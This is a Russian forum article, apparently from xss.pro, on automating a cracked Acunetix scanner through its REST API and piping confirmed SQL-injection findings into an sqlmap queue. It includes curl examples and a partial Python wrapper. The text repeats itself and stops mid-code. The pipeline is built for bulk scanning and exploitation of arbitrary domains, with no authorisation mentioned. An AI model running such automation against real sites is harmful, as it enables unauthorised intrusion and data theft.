Автор petrinh1988
Источник https://xss.pro
В какой-то момент понял, что трачу время на банальные операции: загружаю таргеты в окуня, запускаю сканирование на SQLi, удачные сканирования перекидываю в мап. Не порядок, тем более у Acunetix 100% должен быть API. В целом, данную заметку можно рассматривать, как знакомство с API Acunetix на полезном примере.
Сразу оговорюсь, что не буду здесь рассматривать сопутствующие части, такие как получение таргета для добавления, создание очереди сканирования в SQLMAP или организация сетевого взаимодействия между элементами цепи. Эти части у всех могут быть организованы по своему. Кто-то базу входящих таргетов сложит в обычный текстовый файл, кто-то в базу sqllite. Тоже касается и сетевых нюансов, окунь и sqlmap могут работать в рамках одной машины, могут быть на разных вирталках или вовсе разных серверах. Поэтому, по максимуму постараюсь оставить все за кадром. На выходе хочу получить рабочий скрипт, который максимально автоматизирует процесс работы.
Схему работы скрипта я придумал такую:
1. Acunetix Version: 24.2.240226074 для Windows отученную от жадности Pwn3rzs
2. Postman
3. VS Code
Исследование API Acunetix
Открываю Acunetix -> Администратор -> Профиль и в самом низу нахожу то, что хотел:
Супер! Ключ есть, документация есть. Из документации узнаем стандартный адрес REST API: https://127.0.0.1:3443/api/v1/ Самое время поиграться в Postman, после накидать нужный скрипт, например, на Python.
Acunetix очень хороший инструмент, но то, как организован в интерфейсе доступ к данным… зачастую логика разработчиков непонятна. Это подсказывало, что работа с API не станет легкой прогулкой. И да, чутье не подвело. Документация API не самая точная. С другой стороны, это некий тест на минимум знаний в пентестинге — сможешь догадаться, как пользоваться API, добро пожаловать. Ну а если нет, то зачем ты вообще установил окуня?
Ссылка на локальную документацию API: https://localhost:3443/Acunetix-API-Documentation.html#-scans именно ей я пользовался и на нее всю дорогу ругался.
Авторизация REST API
Тут все просто. Токен лежит в профиле, а передавать его нужно обычным заголовком X-Auth, без танцев с бубном:
Получаем активные сканирования
Первое, что хотелось бы реализовать — проверку активных сканирований. Документация предлагает нам следующий запрос:
Для фильтрации предусмотрены GET-параметры:
c - Cursor indicating which index is the head of the next batch of elements (generally coupled with a limit).
l - Maximum number of items returned. Parameter defaults to 100 if not passed. Limit ranges accepted are less than 100 or greater than 1 (1 < limit < 100).
q - Query to filter results based on a number of filters.
s - none
Черт с ним с “s”, вероятно в других запросах этот параметр и имеет смысл, смотрим чего можно положить в “q”:
Нас интересует scan_status, но вот первая нестыковка. В примерах справки выше, обращение через “q” выглядит так: ?q=scan_status:processing. Здесь же нам предлагается использовать scan_status, как самостоятельный параметр. Окей, попробуем по всякому.
Request: https://127.0.0.1:3443/api/v1/scans?q=scan_status:processing
Упс… не то. Попытка использовать, как scan_status в виде отдельного параметра, выдает результат без какой либо фильтрации. Не буду томить. Решение подсказала панель управления Acunetix, там параметр выглядит как “status”. Верный URL запроса такой:
https://127.0.0.1:3443/api/v1/scans?q=status:processing
Отлично, теперь мы можем видеть количество сканирований, осталось разобраться с добавлением новых таргетов, созданием сканов и получением уязвимостей.
Добавление нового таргета
Для добавления новой цели есть целых два варианта: одиночное и множественное. Вот, что справка говорит про одиночное добавление:
Body:
Другой вариант — добавлять таргеты пачкой. В дальнейшем, этот вариант станет предпочтительным, но об этом позже. Множественное добавление производится через ендпоинт add и принимает массив таргетов и групп, к которым их нужно прикрепить:
Body:
Конечно же, чтобы добавить таргеты к группам, нам потребуется получить группы: https://127.0.0.1:3443/api/v1/target_groups В ответ получим JSON с массивом groups.
Пробую создать новый таргет, но хочу сразу поместить его в группу с идентификатором “633495df-f965-473c-86e8-785eef521a7e”. Учитывая, что документация по API составлена по принципу “лишь бы было”, пытаюсь запихать группу в group_id. Таргет создался, но в группе пусто. Скажу сразу, что через добавление одиночного таргета у меня не получилось создать цель с добавлением в группу. На всякий случай попробовал отследить добавление ручками
Оказалось, что сам окунь добавляет таргет через множественное добавление. Похоже, других способов сразу прицепить группу не существует. А для меня группы важны, я при помощи них группирую… ))) Если серьезно, удобно разбивать по источникам таргетов, чтобы потом можно было проанализировать деятельность. Ну или найти “затерявшийся” таргет.
Мне не принципиально. Буду тогда использовать групповое добавление. Зато, мы увидели, какие параметры реально ждет REST API. Указанные в справке параметры type и criticality, тоже нужны, но мне достаточно их значений по умолчанию.
После создания таргета, вернулся его идентификатор. Он потребуется для запуска, но сначала сделаю шаг назад и поищу запрос, который позволит проверить есть ли url в базе. Логично же, что перед добавлением таргета, нужно проверить нет ли его уже в базе? Как говориться, лучше поздно, чем никогда.
В документации ничего дельного по этому поводу не нашел, поэтому снова смотрю запросы самого Acunetix: https://127.0.0.1:3443/api/v1/targets?q=text_search:*https://pornhub.com
В ответ приходит объект с массивом targets. В коде это превратится в простую проверку количества объектов.
Создаем сканирование через API
Снова смотрю справкус надеждой без надежды, вот описание метода:
Body
Что-то много всего он просит… и, конечно же, никакой развернутой информации по запросу нет. Давайте по порядку. Сначала разберемся с profile_id. Это ничто иное, как профиль сканирования. Запросить профили сканирования можно через метод API : https://127.0.0.1:3443/api/v1/scanning_profiles
Скорее всего, если у вас установлена нуленная версия, профили сканирования будут как у меня:
Меня интересует SQL Injection, поэтому использовать буду профиль “11111111-1111-1111-1111-111111111113”
Пробую создать сканирование только с таргетом и профилем сканирования, но нет… нужно все же указывать свойство schedule
Чтобы не тратить время впустую, создаю сканирование через интерфейс и копирую оттуда часть запроса:
Тестирую в Postman и получаю параметры вновь созданного сканирования. Проверяю в интерфейсе - все ок, сканирование создано!
Получаем информацию по уязвимостям:
Вторая часть не менее важная - получить данные по уязвимостям и передать их на сканирование в SQLMAP. Пока, соответственно, разбираем нужные нам методы API Acunetix.
Завершающий шаг знакомства с API. Нам нужен этот ендпоинт:
Как мы договорились в самом начале, никакой информации по параметрам запроса разработчики не предоставляют. Снова полез смотреть запросы окуня. Запрос с фильтрацией по SQL Injection выглядит так:
https://localhost:3443/api/v1/vulne...2d-1a152945cdae;status:!ignored;status:!fixed;
Если точнее, вот сам фильтр: q=vt_id:db04b846-7dec-fb62-f12d-1a152945cdae;
Факт, что тип уязвимости нужно искать по идентификатору, а не тэгу, меня не очень радует. С одной стороны, боль-мень надежно. С другой стороны, при ручном вводе фильтра выдает еще всякие варианты с “SQL Injection”. В общем, чтобы узнать идентификаторы уязвимостей, можно воспользоваться текстовым поиском по типам уязвимостей:
https://localhost:3443/api/v1/vulnerability_types?q=text_search:*sql injection
Обратите внимание на “*”. Без этого поиска не случится, в ответ вы получите сообщение о неправильном операторе.
Последним штрихом будет получение деталей уязвимости, а именно: сам реквест с пэйлоадом, указанием уязвимого параметра и тип инъекции. Для этого обращаемся к тому же ендпоинту, только добавляем идентификатор уязвимости. Пример: https://127.0.0.1:3443/api/v1/vulnerabilities/3339540470580643701
В целом, это все, что потребуется от API. Хотя, возможно вам захочется реализовать простой механизм фильтрации отработана инъекция sqlmap или не отработана, через статус уязвимости. Тогда потребуется сделать простой PUT-запрос:
Body
Например: https://localhost:3443/api/v1/vulnerabilities/3352451120738862639/status
Скрипт автоматизации на Python
Код достаточно простой. Конечно же, не претендующий на идеальность/универсальность или какие-то другие варианты. Более того, я в целом не часто использую Python, это хорошо видно по неказистым конструкциям, а так же по абсолютному непониманию, как в Python правильно бросить исключение и правильно его обработать)))) Но похоже в ИБ это самый используемый язык, поэтому решил писать на нем.
В общем, воспринимайте, как просто одну из возможных реализаций с текстовым файлом на входе. Напомню, что я максимально пытался избежать любых сопутствующих тем, но все же решил оставить один из вариантов реализации очереди запуска сканов sqlmap, чтобы скрипт можно было просто скачать, поменять параметры и использовать. В идеале, его нужно доработать, что позже и сделаю, а пока можно пользовать как костыль.
Класс AcunetixAPI
Чтобы не захламлять код и дать возможность хотя бы минимально масштабировать скрипт малой кровью, написал простейший класс-обертку для методов Acunetix и некоторых собственных методов. Полный код в приложенных файлах.
Всего файлов у нас пять:
1. AcunetixAPI.py - класс реализующий некоторые методы API плюс несколько функций, которые потребовались для работы с API
2. sqli_params.py - несколько вспомогательных функций, которые обрабатывают данные окуня, чтобы их можно было использовать в sqlmap
3. file_utils.py - 4 функции для чтения и записи файлов, тоже вспомогательная ерунда
4. main.py - тут основная логика
5. sqlmap_scan.py - файл, который запускает сканирование sqlmap, дожидается окончания и запускает следующий. Примитивный способ реализации очереди. Я его положил в папку output, это папка куда складываются реквесты для sqlmap. Там же у меня лежит файл очереди.
Структура проекта выглядит так:
Файлы с цифрами - это реквесты из Acunetix, в которых прописан макрос %INJECT HERE%. domains.txt - файл с доменами для загрузки в окуня. sqlmap_queue.txt - файл очереди для sqlmap, по факту тупо команды запуска.
Хватит лирических отступлений, перейдем к коду...
В конструкторе класса запоминаем адрес API и токен, плюс отключаем ненужные уведомления. Нам потребуется исключить проверку SSL, в итоге получим в ответ ругань… короче, зачем оно нам нужно? Нет, можно заморочиться, все привести в порядок, но это тема другой телепередачи.
Сразу после конструктора идут три метода-обертки для отправки запросов: get_request, put_request и post_request. По сути, они просто добавляют заголовок авторизации и контент-тип. Все возвращают json(). По хорошему, нужно правильно бросать исключение и правильно его обрабатывать, но тут оставлю простор для мысли читателя.
Большая часть методов просто указывает конкретный endpoint, при необходимости добавляет данные и передает все в подходящий реквест. Пример метода:
Для удобства, в прикрепленном файле, все обертки выделены комментариями "Acunetix API Methods” и “End Acunetix API Methods”, соответственно. Поэтому, добавить какой-то метод АПИ будет вообще не проблемой.
Вспомогательные скрипты
Перед тем, как перейти к основному, давайте взглянем на важные, но не самые интересные скрипты. В принципе, file_utils.py можно было бы вообще проигнорировать. Там всего 4 функции работающих с файлами и не делающих ничего сверхестественного. Но раз уж выкладываю весь код здесь, вот код file_utils.py
В sqli_params.py же, лежит достаточно важный код. А именно тот, что отвечает за правильный перевод ответа API Acunetix к данным готовым для построения команды запуска SQLMAP.
Acunetix, методом Vulnerability Detail, возвращает объект в котором нам интересны три свойства. В основном, это “details” и “request”. Свойство “affects_detail” хранит в себе название уязвимого параметра, но мы его спокойно получим из “details”.
Как понятно из названий свойств, в “requests” хранится тот самый запрос, который прекрасно сработал при сканировании окунем. Свойство этого поля, почти неизменным сохранится в файл, чтобы потом использоваться при запуске sqlmap с параметром “-r”. Единственное серьезное преобразование requests - это замена пэйлоада на макрос %INJECT HERE%. Просто поможем sqlmap быстрее найти уязвимость.
В целом, на этом и заканчивается работа sqli_params.py. Получили данные, распарсили и вернули в более удобном виде. Код не сложный и весь в комментариях. Ниже я еще вернусь к нюансам при обработке деталей уязвимости.
Основной скрипт (main.py)
Как и писал в самом начале, первым делом получаем “лимит” на количество сканов, которые можно добавить. Если требуется, то начинаем добавлять таргеты и создавать сканы “SQL Inject”. После этого, проверяем наличие необработанных vulnerabilites. Если есть, то создаем очередь в sqlmap. Думаю, что сильно копаться в главном скрипте нет смысла.
Гораздо интереснее именно работа с найденными уязвимостями, т.к. там есть особенности. К этому и перейдем…
Выгружаем уязвимости из Acunetix в SQLMAP
Получить детали уязвимости не сложно, а вот передать их в SQLMAP правильно, сложнее. Дело в том, что наиболее важные вещи находятся в details и request, а они выглядят достаточно своеобразно. В том плане, что при HTML-выводе они довольно неплохо смотрятся, а вот при парсинге придется попотеть.
Acunetix, к сожалению, не помечает тип SQL-инъекции и это придется делать самостоятельно. Например, по наличию True и False в details, определить boolean-based инъекцию. По цифровому выводу определить Time-based, По наличию “Error message found” определяем error-based.
Второй неудобный момент - это привести Request к нужному виду, выше уже немного касался вопроса. Нужно заменить инъекцию в запросе Acunetix на понятную SQLMAP конструкцию, например на %INJECT HERE%. Мне больше нравится использовать этот макрос, чем “*”.
Плюс ситуации в том, что пейлоад из requests выводится первым в details и обернут в <strong><span class=\"bb-dark\"></span></storng>. Но нужно пейлоады привести к одному виду, тогда без проблем получится их заменить и сохранить правильный запрос для мапа.
Вторая подсказка находится прямо перед нужным пэйлоадом. Acunetix выделяет уязвимый параметр. Это либо стока вида “/[*]-<n>-<s>/”, что означает пэйлоад это часть url. Лио конкретный параметр url или другой части запроса. Минус ситуации в том, что мне попадались далеко не все вариации. Например, не попадались инъекции с payload в User-agent. Так же, ни разу Acunetix не находил мне инъекции с юнион. Хотя, может быть здесь я упускаю из виду пэйлоады состоящие из одних кавычек.
Получаем пэйлоад и уязвимый параметр
В голову пришло два варианта. Первый — использовать регулярное выражение, которое использует особенности вывода первых стронгов. У меня получилось вот такое выражение: /(?<=\">).*?(?=<\/span>)/. Плюс в том, что сразу получаю два нужных значения.
Второй вариант - брать сразу все <strong></strong>, первые два значения чистить от спанов, а в остальных искать признаки типа инъекции. Этот подход мне больше нравится, так как за одну операцию получаем все значения. Хотя, по хорошему разницы большой нет.
В итоге, все эти обработки убрал в sqli_params.py, сделав основной код более-менее чистым:
Итог работы основного скрипта с найденными уязвимостями:
Запуск очереди сканирований SQLMAP
Я хотел это оставить за кадром… но как-то недоделано без скрипта запуска.
Скрипты выше складывают результаты работы в папку output (исхожу из того, что сейчас в коде написано). В этой папке лежат файлы хранящие в себе HTTP-запросы, тут же лежит файл со списком команд запускающих SQLMAP. В ней же я положил файлик sqlmap_scan.py запускающий по очереди сканирования мапой.
Как видно из кода, скопировал туда две фуккнции для работы с файлами. Сам скрипт просто запускает бесконечный цикл, берет первую строчку из файла с очередью, запускает, дожидается выполнения и возвращается в начало цикла. Тупо? Да. Можно лучше? Да, конечно! Можно, например, добавить хотя бы отлов Ctrl+C, чтобы адекватно обрабатывать прерывание процесса. Но главная задача выполнена. С API Acunetix познакомились, скрипты соединяющие Acunetix с SQLMAP написаны и работают.
Оговорюсь сразу, что не обещаю поддерживать и развивать код. Сейчас это костыль, который как-то выполняет свою функцию. Возможно, продолжу доводить до ума, если будет смысл, но не обещаю.
Источник https://xss.pro
В какой-то момент понял, что трачу время на банальные операции: загружаю таргеты в окуня, запускаю сканирование на SQLi, удачные сканирования перекидываю в мап. Не порядок, тем более у Acunetix 100% должен быть API. В целом, данную заметку можно рассматривать, как знакомство с API Acunetix на полезном примере.
Сразу оговорюсь, что не буду здесь рассматривать сопутствующие части, такие как получение таргета для добавления, создание очереди сканирования в SQLMAP или организация сетевого взаимодействия между элементами цепи. Эти части у всех могут быть организованы по своему. Кто-то базу входящих таргетов сложит в обычный текстовый файл, кто-то в базу sqllite. Тоже касается и сетевых нюансов, окунь и sqlmap могут работать в рамках одной машины, могут быть на разных вирталках или вовсе разных серверах. Поэтому, по максимуму постараюсь оставить все за кадром. На выходе хочу получить рабочий скрипт, который максимально автоматизирует процесс работы.
Схему работы скрипта я придумал такую:
- Запуск сканирований в Acunetix
- Смотрим количество активных сканирований
- Если количество меньше 7 (в моем случае это комфортное число), добавляем новын таргетв и стартуем их. Иначе идем к п.2.
- Запускаем сканирование в sqlmap уязвимостей из Acunetix
- Ищем новые зависи с sqli
- Если есть, добавляем уязвимости в очередь, если нет - спим.
1. Acunetix Version: 24.2.240226074 для Windows отученную от жадности Pwn3rzs
2. Postman
3. VS Code
Исследование API Acunetix
Открываю Acunetix -> Администратор -> Профиль и в самом низу нахожу то, что хотел:
Супер! Ключ есть, документация есть. Из документации узнаем стандартный адрес REST API: https://127.0.0.1:3443/api/v1/ Самое время поиграться в Postman, после накидать нужный скрипт, например, на Python.
Acunetix очень хороший инструмент, но то, как организован в интерфейсе доступ к данным… зачастую логика разработчиков непонятна. Это подсказывало, что работа с API не станет легкой прогулкой. И да, чутье не подвело. Документация API не самая точная. С другой стороны, это некий тест на минимум знаний в пентестинге — сможешь догадаться, как пользоваться API, добро пожаловать. Ну а если нет, то зачем ты вообще установил окуня?
Ссылка на локальную документацию API: https://localhost:3443/Acunetix-API-Documentation.html#-scans именно ей я пользовался и на нее всю дорогу ругался.
Авторизация REST API
Тут все просто. Токен лежит в профиле, а передавать его нужно обычным заголовком X-Auth, без танцев с бубном:
Получаем активные сканирования
Первое, что хотелось бы реализовать — проверку активных сканирований. Документация предлагает нам следующий запрос:
Bash:
curl -X GET https://127.0.0.1:3443/api/v1/scans \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Для фильтрации предусмотрены GET-параметры:
c - Cursor indicating which index is the head of the next batch of elements (generally coupled with a limit).
l - Maximum number of items returned. Parameter defaults to 100 if not passed. Limit ranges accepted are less than 100 or greater than 1 (1 < limit < 100).
q - Query to filter results based on a number of filters.
s - none
Черт с ним с “s”, вероятно в других запросах этот параметр и имеет смысл, смотрим чего можно положить в “q”:
Код:
target: Specific target to filter for.
threat: Level of severity to filter scans by.
business_criticality: Level of business criticality to filter scans for.
scan_status: Scan state to filter by. Multiple values can be added and are comma-separated (e.g. ?scan_status=completed,queued)
profile_id: Scan type to filter scans by (e.g. Crawl Only).
group_id: Target group to filter scans by.
Нас интересует scan_status, но вот первая нестыковка. В примерах справки выше, обращение через “q” выглядит так: ?q=scan_status:processing. Здесь же нам предлагается использовать scan_status, как самостоятельный параметр. Окей, попробуем по всякому.
Request: https://127.0.0.1:3443/api/v1/scans?q=scan_status:processing
JSON:
{
"code": 16,
"message": "Validation errors",
"details": [
{
"q": {
"problems": [
{
"error_message:": "Unknown filter key",
"param_path": "q.scan_status",
"code": "invalid_filter"
}
],
"src": "url"
}
}
]
https://127.0.0.1:3443/api/v1/scans?q=status:processing
Отлично, теперь мы можем видеть количество сканирований, осталось разобраться с добавлением новых таргетов, созданием сканов и получением уязвимостей.
Добавление нового таргета
Для добавления новой цели есть целых два варианта: одиночное и множественное. Вот, что справка говорит про одиночное добавление:
Bash:
# You can also use wget
curl -X POST https://127.0.0.1:3443/api/v1/targets \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body:
JSON:
{
"address": "string",
"description": "",
"type": "default",
"criticality": 30
}
Другой вариант — добавлять таргеты пачкой. В дальнейшем, этот вариант станет предпочтительным, но об этом позже. Множественное добавление производится через ендпоинт add и принимает массив таргетов и групп, к которым их нужно прикрепить:
Bash:
curl -X POST https://127.0.0.1:3443/api/v1/targets/add \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body:
JSON:
{
"targets": [
{
"address": "string",
"description": "",
"type": "default",
"criticality": 30
}
],
"groups": [
"497f6eca-6276-4993-bfeb-53cbbbba6f08"
]
}
Конечно же, чтобы добавить таргеты к группам, нам потребуется получить группы: https://127.0.0.1:3443/api/v1/target_groups В ответ получим JSON с массивом groups.
Пробую создать новый таргет, но хочу сразу поместить его в группу с идентификатором “633495df-f965-473c-86e8-785eef521a7e”. Учитывая, что документация по API составлена по принципу “лишь бы было”, пытаюсь запихать группу в group_id. Таргет создался, но в группе пусто. Скажу сразу, что через добавление одиночного таргета у меня не получилось создать цель с добавлением в группу. На всякий случай попробовал отследить добавление ручками
Оказалось, что сам окунь добавляет таргет через множественное добавление. Похоже, других способов сразу прицепить группу не существует. А для меня группы важны, я при помощи них группирую… ))) Если серьезно, удобно разбивать по источникам таргетов, чтобы потом можно было проанализировать деятельность. Ну или найти “затерявшийся” таргет.
Мне не принципиально. Буду тогда использовать групповое добавление. Зато, мы увидели, какие параметры реально ждет REST API. Указанные в справке параметры type и criticality, тоже нужны, но мне достаточно их значений по умолчанию.
После создания таргета, вернулся его идентификатор. Он потребуется для запуска, но сначала сделаю шаг назад и поищу запрос, который позволит проверить есть ли url в базе. Логично же, что перед добавлением таргета, нужно проверить нет ли его уже в базе? Как говориться, лучше поздно, чем никогда.
В документации ничего дельного по этому поводу не нашел, поэтому снова смотрю запросы самого Acunetix: https://127.0.0.1:3443/api/v1/targets?q=text_search:*https://pornhub.com
В ответ приходит объект с массивом targets. В коде это превратится в простую проверку количества объектов.
Создаем сканирование через API
Снова смотрю справку
Bash:
curl -X POST https://127.0.0.1:3443/api/v1/scans \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body
JSON:
# Пример из документации АПИ
{
"target_id": "d3bcdc92-4191-401b-ad0c-42056c6efab9",
"profile_id": "bfcb6779-b1f9-41fc-92d7-88f8bc1d12e8",
"report_template_id": "e89ef7db-4101-4c97-b7ab-9249efd2d3cd",
"schedule": {
"disable": true,
"time_sensitive": true,
"history_limit": 10,
"start_date": "string",
"recurrence": "string",
"triggerable": false
},
"max_scan_time": 0,
"incremental": false
}
Что-то много всего он просит… и, конечно же, никакой развернутой информации по запросу нет. Давайте по порядку. Сначала разберемся с profile_id. Это ничто иное, как профиль сканирования. Запросить профили сканирования можно через метод API : https://127.0.0.1:3443/api/v1/scanning_profiles
Скорее всего, если у вас установлена нуленная версия, профили сканирования будут как у меня:
JSON:
{
"scanning_profiles": [
{
"checks": [],
"custom": false,
"name": "Full Scan",
"profile_id": "11111111-1111-1111-1111-111111111111",
"sort_order": 10
},
{
"checks": [],
"custom": false,
"name": "Critical / High Risk",
"profile_id": "11111111-1111-1111-1111-111111111112",
"sort_order": 20
},
{
"checks": [],
"custom": false,
"name": "Critical / High / Medium Risk",
"profile_id": "11111111-1111-1111-1111-111111111119",
"sort_order": 30
},
{
"checks": [],
"custom": false,
"name": "Cross-site Scripting",
"profile_id": "11111111-1111-1111-1111-111111111116",
"sort_order": 40
},
{
"checks": [],
"custom": false,
"name": "SQL Injection",
"profile_id": "11111111-1111-1111-1111-111111111113",
"sort_order": 50
},
{
"checks": [],
"custom": false,
"name": "Weak Passwords",
"profile_id": "11111111-1111-1111-1111-111111111115",
"sort_order": 60
},
{
"checks": [],
"custom": false,
"name": "Crawl Only",
"profile_id": "11111111-1111-1111-1111-111111111117",
"sort_order": 70
},
{
"checks": [],
"custom": false,
"name": "OWASP Top 10",
"profile_id": "11111111-1111-1111-1111-111111111129",
"sort_order": 80
},
{
"checks": [],
"custom": false,
"name": "PCI checks",
"profile_id": "11111111-1111-1111-1111-111111111131",
"sort_order": 81
},
{
"checks": [],
"custom": false,
"name": "Sans Top 25",
"profile_id": "11111111-1111-1111-1111-111111111132",
"sort_order": 82
},
{
"checks": [],
"custom": false,
"name": "Malware Scan",
"profile_id": "11111111-1111-1111-1111-111111111120",
"sort_order": 90
}
]
}
Меня интересует SQL Injection, поэтому использовать буду профиль “11111111-1111-1111-1111-111111111113”
Пробую создать сканирование только с таргетом и профилем сканирования, но нет… нужно все же указывать свойство schedule
Чтобы не тратить время впустую, создаю сканирование через интерфейс и копирую оттуда часть запроса:
JSON:
{
"target_id": "18d1d575-cb54-47f8-9ca9-124f5345f882",
"profile_id": "11111111-1111-1111-1111-111111111113",
"incremental": false,
"schedule": {
"disable": false,
"start_date": null,
"time_sensitive": false
}
}
Тестирую в Postman и получаю параметры вновь созданного сканирования. Проверяю в интерфейсе - все ок, сканирование создано!
Получаем информацию по уязвимостям:
Вторая часть не менее важная - получить данные по уязвимостям и передать их на сканирование в SQLMAP. Пока, соответственно, разбираем нужные нам методы API Acunetix.
Завершающий шаг знакомства с API. Нам нужен этот ендпоинт:
Bash:
curl -X GET https://127.0.0.1:3443/api/v1/vulnerabilities \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Как мы договорились в самом начале, никакой информации по параметрам запроса разработчики не предоставляют. Снова полез смотреть запросы окуня. Запрос с фильтрацией по SQL Injection выглядит так:
https://localhost:3443/api/v1/vulne...2d-1a152945cdae;status:!ignored;status:!fixed;
Если точнее, вот сам фильтр: q=vt_id:db04b846-7dec-fb62-f12d-1a152945cdae;
Факт, что тип уязвимости нужно искать по идентификатору, а не тэгу, меня не очень радует. С одной стороны, боль-мень надежно. С другой стороны, при ручном вводе фильтра выдает еще всякие варианты с “SQL Injection”. В общем, чтобы узнать идентификаторы уязвимостей, можно воспользоваться текстовым поиском по типам уязвимостей:
https://localhost:3443/api/v1/vulnerability_types?q=text_search:*sql injection
Обратите внимание на “*”. Без этого поиска не случится, в ответ вы получите сообщение о неправильном операторе.
Последним штрихом будет получение деталей уязвимости, а именно: сам реквест с пэйлоадом, указанием уязвимого параметра и тип инъекции. Для этого обращаемся к тому же ендпоинту, только добавляем идентификатор уязвимости. Пример: https://127.0.0.1:3443/api/v1/vulnerabilities/3339540470580643701
В целом, это все, что потребуется от API. Хотя, возможно вам захочется реализовать простой механизм фильтрации отработана инъекция sqlmap или не отработана, через статус уязвимости. Тогда потребуется сделать простой PUT-запрос:
Bash:
curl -X PUT https://127.0.0.1:3443/api/v1/vulnerabilities/{vuln_id}/status \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body
JSON:
{
"status": "fixed"
}
Например: https://localhost:3443/api/v1/vulnerabilities/3352451120738862639/status
Скрипт автоматизации на Python
Код достаточно простой. Конечно же, не претендующий на идеальность/универсальность или какие-то другие варианты. Более того, я в целом не часто использую Python, это хорошо видно по неказистым конструкциям, а так же по абсолютному непониманию, как в Python правильно бросить исключение и правильно его обработать)))) Но похоже в ИБ это самый используемый язык, поэтому решил писать на нем.
В общем, воспринимайте, как просто одну из возможных реализаций с текстовым файлом на входе. Напомню, что я максимально пытался избежать любых сопутствующих тем, но все же решил оставить один из вариантов реализации очереди запуска сканов sqlmap, чтобы скрипт можно было просто скачать, поменять параметры и использовать. В идеале, его нужно доработать, что позже и сделаю, а пока можно пользовать как костыль.
Класс AcunetixAPI
Чтобы не захламлять код и дать возможность хотя бы минимально масштабировать скрипт малой кровью, написал простейший класс-обертку для методов Acunetix и некоторых собственных методов. Полный код в приложенных файлах.
Всего файлов у нас пять:
1. AcunetixAPI.py - класс реализующий некоторые методы API плюс несколько функций, которые потребовались для работы с API
2. sqli_params.py - несколько вспомогательных функций, которые обрабатывают данные окуня, чтобы их можно было использовать в sqlmap
3. file_utils.py - 4 функции для чтения и записи файлов, тоже вспомогательная ерунда
4. main.py - тут основная логика
5. sqlmap_scan.py - файл, который запускает сканирование sqlmap, дожидается окончания и запускает следующий. Примитивный способ реализации очереди. Я его положил в папку output, это папка куда складываются реквесты для sqlmap. Там же у меня лежит файл очереди.
Структура проекта выглядит так:
Файлы с цифрами - это реквесты из Acunetix, в которых прописан макрос %INJECT HERE%. domains.txt - файл с доменами для загрузки в окуня. sqlmap_queue.txt - файл очереди для sqlmap, по факту тупо команды запуска.
Хватит лирических отступлений, перейдем к коду...
В конструкторе класса запоминаем адрес API и токен, плюс отключаем ненужные уведомления. Нам потребуется исключить проверку SSL, в итоге получим в ответ ругань… короче, зачем оно нам нужно? Нет, можно заморочиться, все привести в порядок, но это тема другой телепередачи.
Python:
import requests
from urllib3.exceptions import InsecureRequestWarning
class Acunetix:
def __init__(self, api_url, token):
self.url = api_url
self.token = token
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
return
Сразу после конструктора идут три метода-обертки для отправки запросов: get_request, put_request и post_request. По сути, они просто добавляют заголовок авторизации и контент-тип. Все возвращают json(). По хорошему, нужно правильно бросать исключение и правильно его обрабатывать, но тут оставлю простор для мысли читателя.
Python:
def get_request(self, endpoint):
headers = {
'X-Auth':self.token,
'Content-Type':'application/json'
}
response = requests.get(url=endpoint, headers=headers, verify=False)
if response.status_code != 200:
raise Exception("API Request Error", response.status_code, response.text)
return response.json()
Большая часть методов просто указывает конкретный endpoint, при необходимости добавляет данные и передает все в подходящий реквест. Пример метода:
Python:
#Создаем новые таргеты
#На входе targets - массив подготовленный функцией prepare_targets_json() и список идентификаторов групп. По умолчанию пустой
#На выходе JSON с вновь созданными объектами
def create_targets(self, targets, groups=[]):
#К API url добавляем ендпоинт
endpoint = self.url + 'targets/add'
#Формируем JSON-объект для тела запроса
data = {
"targets": targets,
"groups": groups
}
#Выполняем метод POST и возвращаем JSON-объект с массивом созданных таргетов
created_targets = self.post_request(endpoint=endpoint, data=data)
return created_targets
Для удобства, в прикрепленном файле, все обертки выделены комментариями "Acunetix API Methods” и “End Acunetix API Methods”, соответственно. Поэтому, добавить какой-то метод АПИ будет вообще не проблемой.
Python:
import requests
from urllib3.exceptions import InsecureRequestWarning
class Acunetix:
# Конструктор класса
# На входе полный урл к API Acunetix и токен для авторизации
# Запоминает данные, отключает вывод предупреждений
def __init__(self, api_url, token):
self.url = api_url
self.token = token
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
return
# Выполнение GET-запроса к апи
# На входе endpoin - точка доступа к апи со всеми параметрами
# Делает запрос, если код ответа отличается от 200, бросает исключение
# Возвращает JSON-ответа
def get_request(self, endpoint):
headers = {
'X-Auth':self.token,
'Content-Type':'application/json'
}
response = requests.get(url=endpoint, headers=headers, verify=False)
if response.status_code != 200:
raise Exception("API Request Error", response.status_code, response.text)
return response.json()
# Выполнение PUT-запроса к апи (обновление данных)
# На входе endpoin - точка доступа к апи со всеми параметрами
# data - JSON-объект для тела запроса
# Делает запрос, если код ответа отличается от 200 или 204 (успешное выполение), бросает исключение
# Возвращает JSON-ответа в том случае, если ответ не пустой
def put_request(self, endpoint, data):
headers = {
'X-Auth':self.token,
'Content-Type':'application/json'
}
response = requests.put(url=endpoint, json=data, headers=headers, verify=False)
if response.status_code != 200 and response.status_code != 204:
raise Exception("API Request Error", response.status_code, response.text)
if response.text:
return response.json()
return
# Выполнение POST-запроса к апи (добавление записей)
# На входе endpoin - точка доступа к апи со всеми параметрами
# data - JSON-объект для тела запроса
# Делает запрос, если код ответа отличается от 200, бросает исключение
# Возвращает JSON-ответа в том случае, если ответ не пустой
def post_request(self, endpoint, data):
headers = {
'X-Auth':self.token,
'Content-Type':'application/json'
}
response = requests.post(url=endpoint, headers=headers, json=data, verify=False)
if response.status_code != 200:
raise Exception("API Request Error", response.status_code, response.text)
if response.text:
return response.json()
return
##########################################################
# Acunetix API Methods
##########################################################
# Получает профили сканирования из Acunetix API
# Метод формирует правильный endpoint API и делает GET-запрос через get_request
# Возвращает массив JSON-объектов
def get_scaning_profiles(self):
endpoint = self.url + 'scanning_profiles'
profiles = self.get_request(endpoint=endpoint)
return profiles
# Создаем новые таргеты
# На входе targets - массив подготовленный функцией prepare_targets_json() и список идентификаторов групп. По умолчанию пустой
# На выходе JSON с вновь созданными объектами
